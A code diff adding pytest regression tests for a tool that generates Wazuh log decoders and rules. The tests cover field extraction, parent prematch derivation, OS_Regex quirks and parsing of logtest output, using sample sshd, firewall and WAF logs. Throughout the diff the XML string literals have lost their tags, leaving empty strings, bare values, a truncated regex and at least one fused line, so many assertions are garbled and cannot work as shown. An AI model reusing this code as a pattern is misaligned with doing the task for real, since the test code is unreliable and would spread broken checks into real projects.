"https", "http", "0800", "2026-08-01"], +) +def test_noise_field_keys_are_rejected(key): + assert _is_noise_field_key(key) + + +@pytest.mark.parametrize("key", ["client", "method", "status", "src_ip", "user-agent"]) +def test_real_field_keys_are_kept(key): + assert not _is_noise_field_key(key) + + +def test_access_log_extracts_only_real_fields(): + """Regression: the reported bug produced decoders for `14`, `accesslog` + and `2026-08-01T14` alongside the genuine key=value fields.""" + fields = extract_relevant_fields(ACCESS_LOG) + visible = {k for k in fields if not k.startswith(("_kv_", "_cef_"))} + + assert {"client", "method", "status", "path", "rt"} <= visible + for junk in ("14", "accesslog", "2026-08-01T14", "https", "2026-08-01T14:22:31Z"): + assert junk not in visible, f"noise field {junk!r} leaked into extraction" + + +def test_space_separated_clock_does_not_become_a_field(): + fields = extract_relevant_fields( + "2026-08-01 14:22:31 myapp accesslog: client=10.0.0.5 status=200" + ) + visible = {k for k in fields if not k.startswith(("_kv_", "_cef_"))} + assert "14" not in visible + assert "accesslog" not in visible + assert fields.get("client") == "10.0.0.5" + assert fields.get("status") == "200" + + +def test_pipe_delimited_values_stop_at_the_delimiter(): + """Regression: the first key swallowed the whole line, because `|` did not + terminate a value — so proto/sport/dport were never extracted at all.""" + fields = extract_relevant_fields( + "LOGV3|f:ts=2026-08-01T14:35:00Z|f:host=edge-11|d:proto=tcp|" + "d:sport=51344|d:dport=445|m:bytes=0" + ) + assert fields.get("ts") == "2026-08-01T14:35:00Z" + assert fields.get("host") == "edge-11" + assert fields.get("proto") == "tcp" + assert fields.get("sport") == "51344" + assert fields.get("dport") == "445" + + +def test_quoted_value_containing_spaces_survives(): + fields = extract_relevant_fields('evt=LOGIN_FAIL reason="bad_credentials attempts=5"') + assert fields.get("evt") == "LOGIN_FAIL" + assert fields.get("reason") == "bad_credentials attempts=5" + + +def test_colon_scan_still_runs_when_no_equals_pairs_exist(): + """Colon-delimited logs must keep working — the scan is gated, not removed.""" + fields = extract_relevant_fields("srcuser: alice action: login") + assert fields.get("srcuser") == "alice" + assert fields.get("action") == "login" + + +# ── 3. parent decoder synthesis ─────────────────────────────────────────────── + +PAIRS = [ + (r"\.+ client=(\S+)", ["srcip"]), + (r"\.+ method=(\S+)", ["method"]), + (r"\.+ status=(\S+)", ["status"]), +] + + +def blank_line_inside_a_block(xml): + """Blank lines *between* decoder blocks are formatting; a blank line + *inside* one is the empty- defect.""" + for block in re.findall(r"]*>.*?", xml, re.DOTALL): + if any(line.strip() == "" for line in block.splitlines()): + return True + return False + + +def test_split_children_never_emit_an_empty_parent_line(): + """Regression: parent_tag was '' but its line was printed anyway, giving + `\\n \\n ` — the blank line in the reported output.""" + combined = ( + '\n' + ' \\.+ client=(\\S+) method=(\\S+) status=(\\S+)\n' + ' srcip,method,status\n' + '' + ) + out = _enforce_split_decoders(combined, PAIRS, parent_name_hint="myapp") + + assert not blank_line_inside_a_block(out), "empty line where belongs" + assert out.count("myapp") == 3 + + +def test_split_children_inherit_an_existing_parent_block(): + xml = ( + '\n myapp\n\n\n' + '\n' + ' \\.+ client=(\\S+) method=(\\S+) status=(\\S+)\n' + ' srcip,method,status\n' + '' + ) + out = _enforce_split_decoders(xml, PAIRS) + assert out.count("myapp") == 3 + + +def test_split_child_does_not_become_its_own_parent(): + """Self-parenting would be accepted by the XML but is a cycle.""" + combined = ( + '\n' + ' \\.+ client=(\\S+) method=(\\S+) status=(\\S+)\n' + ' srcip,method,status\n' + '' + ) + out = _enforce_split_decoders( + combined, PAIRS, parent_name_hint="myapp-accesslog" + ) + assert "myapp-accesslog" not in out + + +def test_ensure_parent_decoder_synthesizes_missing_parent(): + """Regression: children referenced a parent that nothing defined, so the + whole decoder set could never match.""" + children = ( + '\n' + ' myapp\n' + ' \\.+ client=(\\S+)\n' + ' srcip\n' + '' + ) + out = _ensure_parent_decoder(children, {"program_name": "myapp", "prematch": "myapp"}) + + assert '' in out + assert "myapp" in out + # The parent must come first — Wazuh reads decoders in file order. + assert out.index('') < out.index("myapp-accesslog") + + +def test_ensure_parent_decoder_falls_back_to_prematch(): + children = ( + '\n' + ' myapp\n' + ' \\.+ client=(\\S+)\n' + ' srcip\n' + '' + ) + out = _ensure_parent_decoder(children, {"program_name": None, "prematch": "myapp accesslog:"}) + assert "myapp accesslog:" in out + + +def test_ensure_parent_decoder_is_a_noop_when_parent_exists(): + xml = ( + '\n myapp\n\n\n' + '\n' + ' myapp\n' + ' \\.+ client=(\\S+)\n' + ' srcip\n' + '' + ) + assert _ensure_parent_decoder(xml, {"program_name": "myapp"}) == xml + + +def test_ensure_parent_decoder_handles_empty_input(): + assert _ensure_parent_decoder("", {}) == "" + assert _ensure_parent_decoder("no xml here", {}) == "no xml here" + + +# ── 4. normalizing what the model actually emits ────────────────────────────── + +def test_parent_attribute_is_rewritten_as_an_element(): + """Wazuh ignores parent="x" as an attribute, orphaning the child.""" + xml = ( + '\n' + ' \\.+ client=(\\S+)\n' + ' srcip\n' + '' + ) + out = main._normalize_parent_attribute(xml) + assert 'parent="myapp-accesslog"' not in out + assert "myapp-accesslog" in out + assert '' in out + + +def test_parent_attribute_normalization_leaves_clean_xml_alone(): + xml = ( + '\n p\n' + ' x\n f\n' + ) + assert main._normalize_parent_attribute(xml) == xml + + +def test_verified_prematch_replaces_the_models_paraphrase(): + """The model drops a leading \\p and the prematch stops matching; the + analysis prematch was checked against the sample, so it wins.""" + xml = ( + '\n' + ' ^\\d+\\pAug\\s+\\d+\n' + '' + ) + out = main._inject_parent_prematch(xml, r"^\p\d+\pAug\s+appgw\d+") + assert r"^\p\d+\pAug\s+appgw\d+" in out + + +def test_prematch_is_inserted_when_the_model_omitted_it(): + """Regression: an empty parent decoder selects nothing. The model left the + block bare and the injector only replaced existing prematches.""" + xml = '\n' + out = main._inject_parent_prematch(xml, r"^H\psev\p\d+") + assert r"^H\psev\p\d+" in out + + +def test_prematch_is_not_added_to_a_program_name_parent(): + """ is the right form when Wazuh pre-decoded one.""" + xml = '\n ^accesslog$\n' + assert main._inject_parent_prematch(xml, "SOMETHING") == xml + + +def test_prematch_injection_does_not_touch_children(): + xml = ( + '\n PARENT\n\n\n' + '\n p\n' + ' CHILD\n' + ' x\n f\n' + ) + out = main._inject_parent_prematch(xml, "NEW") + assert "NEW" in out + assert "CHILD" in out, "child prematch must be left alone" + + +def test_renamed_order_field_still_gets_the_correct_regex(): + """Asking for `client` and getting `srcip` used to leave the + model's bare (\\S+) in place, matching the wrong token.""" + xml = ( + '\n p\n' + ' \\S+\n srcip\n' + ) + pairs = [(r"\.+ client=(\d+.\d+.\d+.\d+)", ["client"])] + out = main._inject_correct_regex(xml, pairs) + assert r"\.+ client=(\d+.\d+.\d+.\d+)" in out + assert "client" in out + + +def test_positional_fallback_is_skipped_when_counts_disagree(): + """Mismatched counts mean we cannot trust position — leave it alone.""" + xml = ( + '\n p\n' + ' \\S+\n srcip\n' + ) + pairs = [(r"\.+ a=(\S+)", ["a"]), (r"\.+ b=(\S+)", ["b"])] + out = main._inject_correct_regex(xml, pairs) + assert "srcip" in out + + +def test_broken_model_output_becomes_a_working_decoder_set(): + """The exact shape the tool produced for the reported access log: + parent= attribute, paraphrased prematch, renamed field with a bare regex.""" + ai_response = ( + '\n' + ' ^\\d+\\pAug\\s+\\d+\n' + '\n\n' + '\n' + ' \\S+\n srcip\n\n\n' + '\n' + ' \\.+ method=(\\S+)\n method\n' + ) + verified = r"^\p\d+\pAug\s+appgw\d+\s+accesslog\p" + pairs = [(r"\.+ client=(\d+.\d+.\d+.\d+)", ["client"]), (r"\.+ method=(\S+)", ["method"])] + + out, _ = main._extract_xml_from_ai_response( + ai_response, + regex_order_pairs=pairs, + analysis={"app_name": "myapp", "prematch": verified, "program_name": None}, + ) + + assert 'parent="myapp-accesslog"' not in out + assert out.count("myapp-accesslog") == 2 + assert f"{verified}" in out + assert "client" in out + assert "\\S+" not in out + + +def test_full_path_produces_a_matchable_decoder_set(): + """End-to-end: a combined, parentless AI response must come out as a parent + plus one child per field, each child pointing at that parent.""" + ai_response = ( + "```xml\n" + '\n' + ' \\.+ client=(\\S+) method=(\\S+) status=(\\S+)\n' + ' srcip,method,status\n' + '\n' + "```" + ) + decoder_xml, _ = main._extract_xml_from_ai_response( + ai_response, + regex_order_pairs=PAIRS, + analysis={"app_name": "myapp", "program_name": "myapp", "prematch": "myapp"}, + ) + + assert '' in decoder_xml + assert decoder_xml.count("myapp") == 3 + assert decoder_xml.count("") == 3 + assert not blank_line_inside_a_block(decoder_xml) + + +# ── a log Wazuh already decodes must not get a redundant custom decoder ────── +# +# The AI endpoint computed `needs_custom_decoder` and then ignored it, so a log +# the stock ruleset already handles (json, sshd, fortigate, ...) still got a +# generated decoder. That decoder can never fire — the built-in wins Phase 2 — +# yet validation reported success because it only checked that *some* decoder +# matched. Emit a rule keyed to the built-in with instead. + +def _builtin_analysis(needs_custom_rule): + return { + "app_name": "jsonapi", + "needs_custom_decoder": False, + "needs_custom_rule": needs_custom_rule, + "wazuh_logtest_summary": {"decoder_name": "json", "rule_id": 1002}, + } + + +def _run(coro): + import asyncio + + return asyncio.run(coro) + + +def _body(response): + import json + + return json.loads(bytes(response.body).decode()) + + +def test_builtin_decoded_log_with_no_rule_requirement_generates_nothing(): + request = main.AIGenerateRequest( + app_name="jsonapi", + logs=[main.LogSample(raw_log='{"level":"ERROR","service":"payments-api"}')], + ) + body = _body(_run(main._rule_only_for_builtin_decoder( + request, _builtin_analysis(needs_custom_rule=False), "json" + ))) + + assert body["decoder_xml"] == "", "no decoder should be generated" + assert body["rule_xml"] == "" + assert body["decoder_skipped"] is True + assert body["builtin_decoder"] == "json" + assert body["builtin_rule_id"] == 1002 + assert body["working"] is True + assert body["attempts"] == 0 + assert "json" in body["validation"]["reason"] + + +def test_generated_rule_ids_reads_every_rule(): + assert main._generated_rule_ids( + '\n' + ) == [100900, 100901] + assert main._generated_rule_ids("") == [] + + +def test_rule_only_validation_requires_a_rule_id_to_check(): + """Without an id there is nothing to assert fired, so it must not pass.""" + result = main._validate_ai_rule_with_logtest( + "json", + [main.LogSample(raw_log='{"level":"ERROR"}')], + "jsonapi", + "json", + ) + assert result["validated"] is False + assert "no json', logs, "jsonapi", "json" + ) + assert bad["validated"] is False + assert "rule XML" in bad["reason"] + + +# ── a decoded field named `id` must not be read back as the rule id ────────── +# +# Phase 2 prints decoded fields and Phase 3 prints rule properties using the +# same names (`id`, `level`, `description`). `id` is one of Wazuh's documented +# static field names, so an Aruba/firewall decoder extracting an event code put +# `id: '501094'` in Phase 2 — and the unscoped search read that as the rule id, +# reporting 501094 where rule 100912 had actually fired. + +LOGTEST_WITH_DECODED_ID = """**Phase 1: Completed pre-decoding. +\ttimestamp: 'Jul 20 16:42:55' +\thostname: '2026' + +**Phase 2: Completed decoding. +\tname: 'arubactl' +\tid: '501094' +\tsrcip: '10.7.2.19' +\tstatus: 'Client Match' + +**Phase 3: Completed filtering (rules). +\tid: '100912' +\tlevel: '7' +\tdescription: 'Aruba: client association auth failure' +""" + + +def test_decoded_id_field_is_not_mistaken_for_the_rule_id(): + parsed = main.parse_logtest_output(LOGTEST_WITH_DECODED_ID) + + assert parsed["rule_id"] == 100912, "rule id must come from Phase 3" + assert parsed["rule_level"] == 7 + assert parsed["rule_description"] == "Aruba: client association auth failure" + assert parsed["decoded_fields"]["id"] == "501094", "the decoded field keeps its own value" + assert parsed["decoder_name"] == "arubactl" + assert parsed["no_rule_match"] is False + + +def test_no_rule_match_is_true_when_only_a_decoded_id_is_present(): + """A Phase 2 `id:` must not make a ruleless event look like a rule fired.""" + stdout = LOGTEST_WITH_DECODED_ID.split("**Phase 3")[0] + ( + "**Phase 3: Completed filtering (rules).\n\tNo rule matched.\n" + ) + parsed = main.parse_logtest_output(stdout) + + assert parsed["rule_id"] is None + assert parsed["no_rule_match"] is True + assert parsed["decoded_fields"]["id"] == "501094" + + +# ── OS_Regex forms the model gets wrong, repaired before validation ────────── + +def test_angle_brackets_in_a_regex_become_p_and_the_xml_parses(): + """A log carrying `<341004> ` drew `\\<` into a regex, which opens an + XML tag. Three correction attempts never recovered because the malformed XML + short-circuited validation before any sanitizer ran.""" + bad = ( + '\n' + ' arubactl\n' + ' \\.+AP:\\S+ \\<(\\d+.\\d+.\\d+.\\d+)\n' + ' srcip\n' + '' + ) + assert main._xml_wellformed_error(bad), "fixture should start out malformed" + fixed = main._sanitize_decoder_xml_osregex(bad) + assert main._xml_wellformed_error(fixed) is None + assert r"\p(\d+.\d+.\d+.\d+)" in fixed + assert "\\<" not in fixed + + +@pytest.mark.parametrize("form", ["<", ">", "\\<", "\\>", "<", ">"]) +def test_every_angle_bracket_spelling_becomes_p(form): + """Wazuh does not entity-decode pattern content, so `<` is no better + than a raw `<`. Only `\\p` works.""" + out = main._fix_osregex_angle_brackets(f"a{form}b") + assert out == r"a\pb" + + +def test_lazy_quantifiers_are_dropped(): + """OS_Regex has none: the `?` in `\\.+?` is a literal, so the pattern + demands a '?' in the log and matches nothing.""" + assert main._fix_osregex_lazy_quantifier(r"uri=\.+? id=(\d+)") == r"uri=\.+ id=(\d+)" + assert main._fix_osregex_lazy_quantifier(r"a\S*?b") == r"a\S*b" + # A genuine literal '?' that is not a quantifier modifier survives. + assert main._fix_osregex_lazy_quantifier(r"user=admin\?") == r"user=admin\?" + + +# ── must name every capture group ──────────────────────────────────── + +def test_group_count_ignores_escaped_parens(): + assert main._osregex_group_count(r"a\(b\) c=(\S+)") == 1 + assert main._osregex_group_count(r"(a) (b) (c)") == 3 + assert main._osregex_group_count("") == 0 + + +def test_arity_mismatch_is_reported(): + """The WAF child: five groups — two of them constants pinned as + `(blocked)` and `(SQL Injection)` — against three names. Wazuh + assigned nothing, so it matched and extracted no fields, and validation + that only asked "did a decoder match" called it working.""" + xml = ( + '\n' + ' wafedge\n' + ' event=(blocked) attack="(SQL Injection)" src_ip=(\\d+.\\d+.\\d+.\\d+) ' + 'dst_ip=(\\d+.\\d+.\\d+.\\d+) signature_id=(\\d+)\n' + ' srcip, dstip, signature_id\n' + '' + ) + reason = main._decoder_arity_error(xml) + assert reason and "5 group" in reason and "3 field" in reason + + +def test_matching_arity_is_accepted(): + xml = ( + '^x\n' + 'pa=(\\S+) b=(\\S+)' + 'one,two' + ) + assert main._decoder_arity_error(xml) is None + + +def test_a_parent_with_no_regex_is_not_an_arity_error(): + xml = '^x' + assert main._decoder_arity_error(xml) is None + + +# ── must name the parent ─────────────────────────────────────── + +def test_decoded_as_pointing_at_a_child_is_repointed_to_the_parent(): + """logtest reports the parent, so a rule keyed to the child never fires.""" + decoder = ( + '^policy\\p\n' + 'wafedge' + 'a=(\\S+)one' + ) + rule = '\n wafedge-event\n' + out = main._fix_decoded_as_parent(rule, decoder) + assert "wafedge" in out + + +def test_decoded_as_already_naming_the_parent_is_untouched(): + decoder = '^event\\p' + rule = 'vpngw' + assert main._fix_decoded_as_parent(rule, decoder) == rule diff --git a/integrations/wazuh_decoder_rule_tool/tests/test_ml_order_proposals.py b/integrations/wazuh_decoder_rule_tool/tests/test_ml_order_proposals.py new file mode 100644 index 00000000..6320f053 --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/tests/test_ml_order_proposals.py @@ -0,0 +1,213 @@ +""" +Regression tests for retrieval-proposed fields. + +`ml_order` used to be routed through select_requested_fields(), which +intersects it against what the local extractor already found — so a retrieved +decoder's could only reorder fields, never contribute one. The field +most worth having was the one that got dropped: for an sshd-shaped failed +login, retrieval says `srcuser,srcip` and the extractor finds only `srcip`. + +A proposal is allowed to reach a decoder only when the regex the generator +would actually emit captures, in *every* sample log, exactly the value located +in that log. So these tests pin down both directions: + + * a correct proposal adds a field, and does not cost the fields the + extractor had already found, + * a proposal that only fits the first sample, or names a field the log does + not contain, changes nothing at all. +""" +import sys +from pathlib import Path + +BASE_DIR = Path(__file__).resolve().parent.parent +sys.path.append(str(BASE_DIR)) +sys.path.append(str(BASE_DIR / "app")) + +from app.main import ( # noqa: E402 + build_log_based_regex, + choose_log_driven_fields, + locate_field_value, + osregex_captures, + osregex_matches, + propose_ml_order_fields, +) + +SSHD_INVALID_USER = ( + "Dec 25 20:45:02 web01 sshd[1234]: Failed password for invalid user admin " + "from 192.168.1.50 port 54321 ssh2" +) +SSHD_SECOND_USER = ( + "Dec 25 20:46:11 web01 sshd[1299]: Failed password for invalid user bob " + "from 10.0.0.9 port 2222 ssh2" +) +SSHD_NO_USER = "Dec 25 20:46:11 web01 sshd[1299]: Connection closed by 10.0.0.9 port 2" +KV_APP = "2026-08-03T10:15:00Z myapp[9]: action=login user=bob result=denied srcip=203.0.113.9" +NOVEL_VENDOR = "Aug 3 11:00:01 host01 vendorxyz: SESSION_END id=A91F duration=32" + + +# --- osregex_captures ------------------------------------------------------ + +def test_captures_reads_the_group_osregex_matches_cannot(): + # osregex_matches escapes parens, so it reports no match for any pattern + # with a capture group -- which is why verification needed its own helper. + regex = r"\.+user (\S+)" + assert osregex_matches(regex, SSHD_INVALID_USER) is False + assert osregex_captures(regex, SSHD_INVALID_USER) == ("admin",) + + +def test_captures_returns_none_when_pattern_misses(): + assert osregex_captures(r"\.+nosuchlabel (\S+)", SSHD_INVALID_USER) is None + + +def test_escaped_paren_stays_literal(): + assert osregex_captures(r"pid \((\d+)\)", "pid (1234) ok") == ("1234",) + + +def test_prematch_verification_is_unchanged(): + # keep_groups defaults off, so prematch checking keeps its old meaning. + assert osregex_matches(r"^\d+\p\d+\p\d+", "2026-08-03 something") is True + + +# --- locating a value by label -------------------------------------------- + +def test_locates_space_separated_label(): + assert locate_field_value(SSHD_INVALID_USER, "srcuser") == "admin" + + +def test_locates_key_value_label(): + assert locate_field_value(KV_APP, "user") == "bob" + + +def test_locates_via_label_hint_not_just_the_field_name(): + # `status` is the Wazuh field name; the log spells it `result`. + assert locate_field_value(KV_APP, "status") == "denied" + + +def test_returns_none_when_no_label_present(): + assert locate_field_value(NOVEL_VENDOR, "srcuser") is None + + +def test_does_not_take_the_next_key_as_a_value(): + assert locate_field_value("evt=LOGIN user action=deny", "srcuser") != "action=deny" + + +def test_quoted_value_after_colon_is_not_truncated_at_the_space(): + log = '1 2019-05-15T16:27:08Z HOST CheckPoint - [action:"Key Install"; flags:"133376"]' + assert locate_field_value(log, "action") == "Key Install" + + +def test_bare_space_is_not_trusted_for_a_prose_label(): + # "Unescaped URL path matches" must not offer url="path". + log = "[Tue Sep 30] [client 77.127.180.111:54082] AH01136: Unescaped URL path matches" + assert locate_field_value(log, "url") is None + + +def test_bare_space_is_not_trusted_for_ip_labels(): + # `dst outside:116.6.127.120` would hand back the interface prefix too. + log = "%ASA-3-106010: Deny inbound protocol 47 src outside:115.51.6.185 dst outside:116.6.127.120" + assert locate_field_value(log, "dstip") is None + + +def test_bare_space_still_works_where_it_is_the_convention(): + assert locate_field_value(SSHD_INVALID_USER, "srcuser") == "admin" + assert locate_field_value(SSHD_INVALID_USER, "srcport") == "54321" + + +def test_structural_word_is_not_taken_as_a_space_separated_value(): + # This log names no user at all; `user from 172.18.1.1` must not yield "from". + log = "2020-03-24 08:38:42 localhost sshd[2519]: Failed password for user from 172.18.1.1 port 4" + assert locate_field_value(log, "srcuser") is None + + +def test_structural_word_is_still_a_valid_explicit_value(): + # After an explicit separator these are real values, not line structure. + assert locate_field_value("type=event level=info status=unknown", "status") == "unknown" + + +# --- strict resolution for retrieved names -------------------------------- + +def test_retrieved_names_are_not_affix_matched_onto_other_fields(): + from app.main import select_requested_fields + + available = {"time": "2019-02-15", "dst": "1.2.3.4", "src": "5.6.7.8"} + # A person typing "ip" should still find something fuzzy... + assert select_requested_fields(available, ["dst"], allow_affix=True)[0] + # ...but a retrieved `timezone` must not be answered with `time`'s value. + strict, missing = select_requested_fields(available, ["timezone"], allow_affix=False) + assert strict == {} + assert missing == ["timezone"] + loose, _ = select_requested_fields(available, ["timezone"], allow_affix=True) + assert loose == {"timezone": "2019-02-15"} + + +def test_true_synonyms_still_resolve_strictly(): + from app.main import select_requested_fields + + selected, _ = select_requested_fields({"proto": "tcp"}, ["protocol"], allow_affix=False) + assert selected == {"protocol": "tcp"} + + +# --- proposals: accepted -------------------------------------------------- + +def test_proposal_adds_the_field_the_extractor_missed(): + proposals = propose_ml_order_fields([SSHD_INVALID_USER], ["srcuser", "srcip"], {}) + assert proposals == {"srcuser": "admin"} + + +def test_proposal_survives_across_logs_with_different_values(): + logs = [SSHD_INVALID_USER, SSHD_SECOND_USER] + assert propose_ml_order_fields(logs, ["srcuser"], {}) == {"srcuser": "admin"} + + +def test_accepted_proposal_does_not_cost_the_heuristic_fields(): + # Routing proposals through requested_fields would flip field selection to + # "requested only" and drop srcip, making the output worse than before. + _, order, _ = choose_log_driven_fields( + [SSHD_INVALID_USER], [], ml_order=["srcuser", "srcip"] + ) + assert "srcuser" in order + assert "srcip" in order + + +def test_proposal_reaches_the_generated_regex_pairs(): + pairs, _, _ = build_log_based_regex( + [SSHD_INVALID_USER], [], ml_order=["srcuser", "srcip"] + ) + by_field = {tuple(order): regex for regex, order in pairs} + assert ("srcuser",) in by_field + assert osregex_captures(by_field[("srcuser",)], SSHD_INVALID_USER) == ("admin",) + + +def test_field_already_found_is_not_re_proposed(): + assert propose_ml_order_fields( + [SSHD_INVALID_USER], ["srcip"], {"srcip": "192.168.1.50"} + ) == {} + + +# --- proposals: rejected -------------------------------------------------- + +def test_rejects_field_that_only_appears_in_the_first_log(): + logs = [SSHD_INVALID_USER, SSHD_NO_USER] + assert propose_ml_order_fields(logs, ["srcuser"], {}) == {} + + +def test_rejects_fields_absent_from_the_log(): + proposals = propose_ml_order_fields( + [NOVEL_VENDOR], ["srcuser", "srcip", "dstport"], {} + ) + assert proposals == {} + + +def test_nonsense_order_leaves_output_identical(): + baseline = choose_log_driven_fields([SSHD_INVALID_USER], [], ml_order=None) + garbage = choose_log_driven_fields( + [SSHD_INVALID_USER], [], ml_order=["totally", "made", "up"] + ) + assert garbage == baseline + + +def test_empty_and_missing_order_are_safe(): + assert propose_ml_order_fields([SSHD_INVALID_USER], None, {}) == {} + assert propose_ml_order_fields([SSHD_INVALID_USER], [], {}) == {} + assert propose_ml_order_fields([], ["srcuser"], {}) == {} + assert propose_ml_order_fields([" "], ["srcuser"], {}) == {} diff --git a/integrations/wazuh_decoder_rule_tool/tests/test_parent_prematch.py b/integrations/wazuh_decoder_rule_tool/tests/test_parent_prematch.py new file mode 100644 index 00000000..3ddeb56f --- /dev/null +++ b/integrations/wazuh_decoder_rule_tool/tests/test_parent_prematch.py @@ -0,0 +1,822 @@ +""" +Regression tests for parent-decoder derivation. + +The reported failure was a parent decoder of `^\\d+\\S+ \\S+`, which matches +nothing in the sample it was generated from. A prematch must: + + * cover the log's stable header up to its first distinctive token, + * keep vendor/product tags (LOGV3, APPAUTH) literal while generalizing + instance digits (appgw03 -> appgw\\d+, years, clocks), + * be matched against what Phase 2 actually sees, not the raw log. +""" +import sys +from pathlib import Path + +import pytest + +BASE_DIR = Path(__file__).resolve().parent.parent +sys.path.append(str(BASE_DIR)) +sys.path.append(str(BASE_DIR / "app")) + +from app.main import ( + derive_parent_prematch, + osregex_matches, + osregex_to_python, + postpredecode_remainder, +) + + +SYSLOG_ACCESSLOG = ( + '<134>Aug 1 14:49:10 appgw03 accesslog: ts=2026-08-01T14:49:10Z ' + 'client=10.9.8.7 method=GET path=/ status=active bytes=3267 ' + 'referer="-" ua="" upstream=- rt=0.002' +) +PIPE_APPAUTH = ( + '2026-08-01T14:23:11.842Z|APPAUTH|sev=4|node=auth-svc-07|txn:9f3a-22b1-4c8d|' + 'evt=LOGIN_FAIL|actor{id=u8821;role=admin;mfa=false}|' + 'src|reason="bad_credentials attempts=5"|' + 'latency_ms=142' +) +LOGV3 = ( + 'LOGV3|f:ts=2026-08-01T14:35:00Z|f:host=edge-11|f:evt=fw.block|d:proto=tcp|' + 'd:sport=51344|d:dport=445|m:bytes=0|m:pkts=1|x:rule=EMERGING-2001|x:class=exploit' +) + + +# ── OS_Regex → Python translation (used to verify generated prematches) ─────── + +def test_osregex_backslash_dot_is_any_char_not_a_literal_dot(): + """OS_Regex inverts PCRE: \\. is any-char, a bare . is a literal dot.""" + assert osregex_matches(r"a\.+b", "axxb") + assert osregex_matches(r"a.b", "a.b") + assert not osregex_matches(r"a.b", "axb") + + +def test_osregex_classes(): + assert osregex_matches(r"\d+", "2026") + assert osregex_matches(r"\s+", "a b") + assert osregex_matches(r"\p", "|") + assert osregex_matches(r"\p", ":") + assert not osregex_matches(r"\p", "a") + + +@pytest.mark.parametrize("char", list("~@^_/\\`")) +def test_osregex_punct_class_excludes_what_wazuh_excludes(char): + """Verified against wazuh-logtest 4.14: these are NOT in \\p, however much + they look like punctuation. Treating them as \\p let osregex_matches() + approve prematches that real Wazuh never fires.""" + assert not osregex_matches(r"\p", char) + + +@pytest.mark.parametrize("char", list("()*+,-.:;<=>?[]!\"'#$%&|{}")) +def test_osregex_punct_class_covers_what_wazuh_covers(char): + assert osregex_matches(r"\p", char) + + +def test_tilde_delimited_header_keeps_the_tilde_literal(): + """`~PAYGW~` generalized to `\\p...\\p` verified clean and matched nothing in + production, because `~` is outside Wazuh's \\p. Keep it literal instead — + it is a fixed delimiter of the format, not per-event data.""" + prematch = derive_parent_prematch(EPOCH_PAYGW) + assert "~PAYGW~" in prematch + assert osregex_matches(prematch, EPOCH_PAYGW) + + +def test_tilde_marker_and_slash_date_stay_literal(): + log = ( + "~AUDIT~ 2026/08/01-14:36:14 usr=jane.doe@corp ~ obj=doc:finance/q3.xlsx ~ " + "action=PERMISSION_CHANGE ~ grantor=admin.bob" + ) + prematch = derive_parent_prematch(log) + assert prematch.startswith("^~AUDIT~"), prematch + assert "/" in prematch, "the date separator is outside \\p, so it stays literal" + assert osregex_matches(prematch, log) + # A different day must still match — only the delimiters are literal. + assert osregex_matches( + prematch, + "~AUDIT~ 2026/12/25-23:44:18 usr=omar.said@corp ~ obj=doc:legal/nda.docx ~ " + "action=PERMISSION_CHANGE ~ grantor=admin.kim", + ) + + +def test_osregex_anchor_is_honoured(): + assert osregex_matches(r"^LOGV3", "LOGV3|f:ts=1") + assert not osregex_matches(r"^LOGV3", "x|LOGV3") + + +def test_osregex_to_python_survives_bad_input(): + assert osregex_matches("", "anything") is False + assert osregex_to_python(r"\d+") == r"\d+" + + +# ── derivation per log shape ────────────────────────────────────────────────── + +@pytest.mark.parametrize("log", [SYSLOG_ACCESSLOG, PIPE_APPAUTH, LOGV3]) +def test_derived_prematch_always_matches_its_own_log(log): + """The defect in one sentence: the shipped prematch did not match.""" + prematch = derive_parent_prematch(log) + assert prematch, "no prematch derived" + assert osregex_matches(prematch, log), f"{prematch!r} does not match its own sample" + + +def test_syslog_prematch_covers_header_through_program_tag(): + """`<134>Aug 1 14:49:10 appgw03 accesslog:` — up to the program marker.""" + prematch = derive_parent_prematch(SYSLOG_ACCESSLOG) + assert prematch.startswith("^") + assert "appgw" in prematch + assert "accesslog" in prematch + # The message body must stay out of the prematch. + for body_token in ("client", "method", "10.9.8.7", "GET"): + assert body_token not in prematch + + +def test_syslog_prematch_generalizes_the_host_instance_number(): + """appgw03 -> appgw\\d+, so appgw01/appgw02 match the same parent.""" + prematch = derive_parent_prematch(SYSLOG_ACCESSLOG) + assert "appgw03" not in prematch + assert r"appgw\d+" in prematch + sibling = SYSLOG_ACCESSLOG.replace("appgw03", "appgw07") + assert osregex_matches(prematch, sibling) + + +def test_pipe_format_prematch_keeps_the_product_tag_literal(): + """APPAUTH identifies the format — generalizing it away loses the anchor.""" + prematch = derive_parent_prematch(PIPE_APPAUTH) + assert "APPAUTH" in prematch + assert "sev" not in prematch, "prematch ran past the product tag into the body" + + +def test_logv3_prematch_keeps_digits_inside_the_product_tag(): + """LOGV3 is a name, not LOGV followed by a version — \\d+ would break it.""" + prematch = derive_parent_prematch(LOGV3) + assert "LOGV3" in prematch + assert r"LOGV\d+" not in prematch + + +def test_logv3_prematch_covers_tag_plus_first_field(): + """`LOGV3|f:ts=` — the tag alone is thin, the body is overfit.""" + prematch = derive_parent_prematch(LOGV3) + assert "ts" in prematch + assert "host" not in prematch, "prematch ran into the second field" + # Same format, different timestamp and host must still match. + other = LOGV3.replace("2026-08-01T14:35:00Z", "2027-01-09T02:00:11Z").replace( + "edge-11", "edge-42" + ) + assert osregex_matches(prematch, other) + + +def test_syslog_month_name_is_generalized(): + """A literal `Aug` pins the parent decoder to August.""" + prematch = derive_parent_prematch(SYSLOG_ACCESSLOG) + assert "Aug" not in prematch + december = SYSLOG_ACCESSLOG.replace("Aug 1", "Dec 25") + assert osregex_matches(prematch, december) + + +def test_prematch_is_not_overfit_to_one_events_values(): + """A different event of the same family must match the same parent.""" + prematch = derive_parent_prematch(SYSLOG_ACCESSLOG) + other_event = ( + '<134>Aug 3 09:01:55 appgw01 accesslog: ts=2026-08-03T09:01:55Z ' + 'client=198.51.100.2 method=POST path=/login status=denied' + ) + assert osregex_matches(prematch, other_event) + + +# ── the pre-decoding trap ───────────────────────────────────────────────────── + +def test_prematch_targets_the_post_predecode_remainder(): + """Wazuh consumes `2026-08-01T14:23:11.842Z|APPAUT` as the timestamp on this + format, cutting mid-tag. Phase 2 sees only what follows, so a prematch built + from the raw log can never fire.""" + consumed = "2026-08-01T14:23:11.842Z|APPAUT" + remainder = postpredecode_remainder(PIPE_APPAUTH, consumed, None) + assert remainder.startswith("H|sev=4") + + from_raw = derive_parent_prematch(PIPE_APPAUTH) + assert not osregex_matches(from_raw, remainder), ( + "a raw-log prematch appeared to match the remainder; the trap is gone " + "or the test sample changed" + ) + + from_remainder = derive_parent_prematch(remainder) + assert osregex_matches(from_remainder, remainder) + + +# ── the prematch must not pin one event's field values ─────────────────────── + 